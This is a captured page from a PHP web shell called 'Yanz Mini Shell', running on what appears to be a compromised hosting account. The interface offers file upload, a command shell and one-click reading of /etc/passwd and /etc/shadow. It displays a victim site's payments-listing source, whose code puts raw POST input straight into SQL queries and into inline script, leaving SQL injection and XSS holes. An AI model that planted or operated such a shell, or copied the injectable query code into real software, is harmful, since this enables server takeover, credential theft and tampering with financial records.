Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
housgcjs
elaan.net
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $path="admin/orna/"; require_once('admin/orna/db.php'); $where="where del ='N'";?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content="ProFinance"> <meta name="keyword" content=""> <title>Payments</title> <script src="assets/js/jquery.js"></script> <!-- Bootstrap core CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/orna.css" rel="stylesheet"> <!--external css--> <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" /> <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" /> <!-- Custom styles for this template --> <link href="assets/css/style.css" rel="stylesheet"> <link href="assets/css/style-responsive.css" rel="stylesheet"> <link href="assets/js/datatables/jquery.dataTables.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/buttons.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/fixedHeader.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/responsive.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/scroller.bootstrap.min.css" rel="stylesheet" type="text/css" /> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <section id="container" > <!--header start--> <?php require_once('inc-core/header.inc')?> <!--header end--> <!--sidebar start--> <?php require_once('inc-core/side-bar.inc');?> <!--sidebar end--> <section id="main-content"> <section class="wrapper"> <div class="page-title"> <div class="title_left"> <h3>Payments</h3> </div> <div class="title_right"> <a href="pay.php" title="New Payment" style="float:right"> <button type="button" class="btn btn-theme"><i class="fa fa-plus-circle"></i> New Payment</button> </a> </div> </div> <div class="clearfix"></div> <div class="row" style="margin:0em;"> <div class="col-md-12 form-group pull-left" style="margin:0;padding:0px;"> <!--Filter Buttion--> <form action="rec_list.php" method="post"> <div class="col-md-3"> <label class="control-label">Payment Mode</label> <select class="form-control" name="rtype" required="required"> <option value="*">All</option> <option value="bank">Bank</option> <option value="cash">Cash</option> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['rtype']?>'; if (post_value != '') { $("select[name='rtype'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="col-md-2"> <label class="control-label">Payment Against</label> <select name="pay_aga" class="form-control"> <option value="*">All</option> <option value="purchase">Purchase</option> <option value="acc_pay">Accounts Payable</option> </select> <script type="text/javascript"> var post_value = '<?php echo @$_POST['pay_aga']?>'; if (post_value != '') { $("select[name='pay_aga'] option[value='" + post_value + "'").prop("selected", true); } </script> </div> <div class="form-group"> <div class="col-md-1"> <button type="submit" class="btn btn-dark go" style="width:100%"><i class="fa fa-filter"></i> Filter</button> </div> </div> </form> <!--Filter Buttion--> </div> <div class="col-md-12" style="margin-top:1em;padding:1em;"> <table id="datatable" class="table table-striped table-bordered table-hover"> <thead> <tr class="table_header"> <th>Sr. #</th> <th>Date</th> <th>Pay. Mode</th> <th>Against</th> <th>Ref</th> <th>Benificery</th> <th>Amount</th> <th>Bal. after Pay.</th> <th>User</th> <th>Action</th> </tr> </thead> <tbody> <?php //------------Filter----------------- if(isset($_POST['rtype']) && $_POST['rtype']!='*'){ if($where!=''){ $where.=' AND '; }else{ $where.=" WHERE "; } $where.= " `rtype`='".$_POST['rtype']."'"; }else{ $where.=""; } if(isset($_POST['pay_aga']) && $_POST['pay_aga']!='*'){ if($where!=''){ $where.=' AND '; }else{ $where.=" WHERE "; } $where.= " `pay_aga`='".$_POST['pay_aga']."'"; }else{ $where.=""; } //------------Filter----------------- $sql2="select * from `".$MySQL_database."`.pay ".$where." order by rdate desc"; $query2=mysqli_query($connection,$sql2); $sr =0; while($result=mysqli_fetch_assoc($query2)) { $sr++; if($result['pay_aga']=='purchase'){ $against= 'Purchase'; $sql3="select store_in_m.cs_id, cust_sup.nm as title from `".$MySQL_database."`.store_in_m,`".$MySQL_database."`.cust_sup where cust_sup.id=store_in_m.cs_id and store_in_m.mast_id='".$result['sl_m_id']."'"; $ref_name = mysqli_fetch_assoc(mysqli_query($connection,$sql3)); } else if($result['pay_aga']=='sr_return'){ $against= 'Sale Return'; $sql3="select store_in_m.cs_id, cust_sup.nm as title from `".$MySQL_database."`.store_in_m,`".$MySQL_database."`.cust_sup where cust_sup.id=store_in_m.cs_id and store_in_m.mast_id='".$result['sl_m_id']."'"; $ref_name = mysqli_fetch_assoc(mysqli_query($connection,$sql3)); } else{ $against ='Acc Payable'; $sql3="select title from `".$MySQL_database."`.acc_mast where acc_nm ='".$result['acc_nm']."'"; $ref_name = mysqli_fetch_assoc(mysqli_query($connection,$sql3)); } print" <tr> <td>".$sr."</td> <td>".date('D d-M-Y', strtotime($result['rdate']))."</td> <td class=\"cap\">".$result['rtype']."</td> <td>".$against."</td> <td>".$ref_name['title']."</td> <td class=\"cap\">".$result['pyee']."</td> <td>".$result['amt']."</td> <td>".$result['bal']."</td> <td>".$result['user']."</td> <td> <a href=\"rec_edit.php?id=".$result['id']."&tname=rec\"><button class=\"btn btn-primary btn-xs\"><i class=\"fa fa-pencil\"></i></button></a> <a href=\"onscreen/receipt.php?rec_id=".$result['id']."\" target=\"blank\" title=\"Print Ledger\"><button class=\"btn btn-default btn-xs\"><i class=\"fa fa-print\"></i></button></a> </td> </tr>";}?> </tbody> </table> </div><!-- /col-md-12 --> </section><!--/wrapper --> </section><!-- /MAIN CONTENT --> <!--main content end--> <!-- Delete modal --> <div class="modal fade" id="delete-modal" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span> </button> <h4 class="modal-title" id="myModalLabel">Delete Item?</h4> </div> <div class="modal-body"> <h4>Are you sure you want to permanently delete the data?</h4> <p id="delete_data"></p> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" data-dismiss="modal">Cancel</button> <button type="button" class="btn btn-danger confirm_delete" data-ajax_table="" data-ajax_id="" data-ajax_where_field="">Confirm Delete</button> </div> </div> </div> </div> <!-- Delete modal --> <?php require_once('inc-core/footer.inc')?> </section> <script src="assets/js/now.js"></script> <!-- js placed at the end of the document so the pages load faster --> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script> <script src="assets/js/jquery.ui.touch-punch.min.js"></script> <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script> <script src="assets/js/jquery.scrollTo.min.js"></script> <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script> <script src="admin/ajax/js/delete_act.js"></script> <!--common script for all pages--> <script src="assets/js/common-scripts.js"></script> <!-- Datatables--> <script src="assets/js/datatables/jquery.dataTables.min.js"></script> <script src="assets/js/datatables/dataTables.bootstrap.js"></script> <script src="assets/js/datatables/dataTables.buttons.min.js"></script> <script src="assets/js/datatables/buttons.bootstrap.min.js"></script> <script src="assets/js/datatables/jszip.min.js"></script> <script src="assets/js/datatables/pdfmake.min.js"></script> <script src="assets/js/datatables/vfs_fonts.js"></script> <script src="assets/js/datatables/buttons.html5.min.js"></script> <script src="assets/js/datatables/buttons.print.min.js"></script> <script src="assets/js/datatables/dataTables.fixedHeader.min.js"></script> <script src="assets/js/datatables/dataTables.keyTable.min.js"></script> <script src="assets/js/datatables/dataTables.responsive.min.js"></script> <script src="assets/js/datatables/responsive.bootstrap.min.js"></script> <script src="assets/js/datatables/dataTables.scroller.min.js"></script> <!--script for this page--> <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script> <script> var handleDataTableButtons = function () { "use strict"; 0 !== $("#datatable-buttons").length && $("#datatable-buttons").DataTable({ dom: "Bfrtip", buttons: [{ extend: "copy", className: "btn-sm" }, { extend: "csv", className: "btn-sm" }, { extend: "excel", className: "btn-sm" }, { extend: "pdf", className: "btn-sm" }, { extend: "print", className: "btn-sm" }], responsive: !0 }) }, TableManageButtons = function () { "use strict"; return { init: function () { handleDataTableButtons() } } }(); </script> <script type="text/javascript"> $(document).ready(function () { $('#datatable').dataTable(); $('#datatable-keytable').DataTable({ keys: true }); $('#datatable-responsive').DataTable(); $('#datatable-scroller').DataTable({ ajax: "js/datatables/json/scroller-demo.json", deferRender: true, scrollY: 380, scrollCollapse: true, scroller: true }); var table = $('#datatable-fixed-header').DataTable({ fixedHeader: true }); }); TableManageButtons.init(); </script> </body> </html>
Free Space : 77942767616 Byte